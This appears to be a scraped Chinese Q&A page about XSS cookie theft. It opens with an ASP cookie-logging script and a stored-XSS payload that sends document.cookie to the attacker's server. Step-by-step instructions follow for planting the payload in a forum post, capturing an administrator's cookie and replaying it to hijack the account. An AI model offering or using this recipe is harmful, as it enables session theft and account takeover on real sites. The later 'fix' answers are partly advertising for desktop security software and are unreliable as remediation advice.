xss漏洞获取cookie怎么解决方案
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
XSS安全漏洞的几种修复方式
打开腾讯电脑管家——工具箱——修复漏洞，进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能，开启后，电脑管家可以在发现高危漏洞（仅包括高危漏洞，不包括其它漏洞）时，第一时间自动进行修复，无需用户参与，最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下：进入电脑管家“修复漏洞”模块—“设置”，点击开启自动修复漏洞即可。
XSS跨站脚本漏洞怎样修复
尝试过滤参数，对用户输出进行转义或者过滤。一般/\^"'这些如果不需要都过滤一遍，其对应的转义也记得过滤一下，安全性就会提高吧。
我水平有限。这是我当前水平下可以做出的回答。
xss漏洞怎样修复啊safe3603.php那个文件的怎样弄啊
1,免费的网站漏洞扫描工具进行跨站漏洞的扫描，及时把漏洞修复好，可以有效防止遭遇跨站攻击。
2,建议你到eesafe网站安全联盟认证站长，申请免费的网站安全人工测试 会有网站安全工程师给你专业的解决建议或方案
3,推荐建议你下载个腾讯电脑管家，他有修复系统的功能。现在出了8.0版本的，见面简单，操作快捷，易懂，管理杀毒2合1，引进小红伞功能，新加安全报警功能，实时监测你的电脑，和浏览的网址，网站，是你放心上网，不怕木马等不安定因素，还有，qq可以加速，安全币可以领礼包，重点是，你轩昂解决你一系列问题，它都能尽最大的努力帮你尽可能的有效解决，。
个人见解，希望而已帮到你。望采纳。谢谢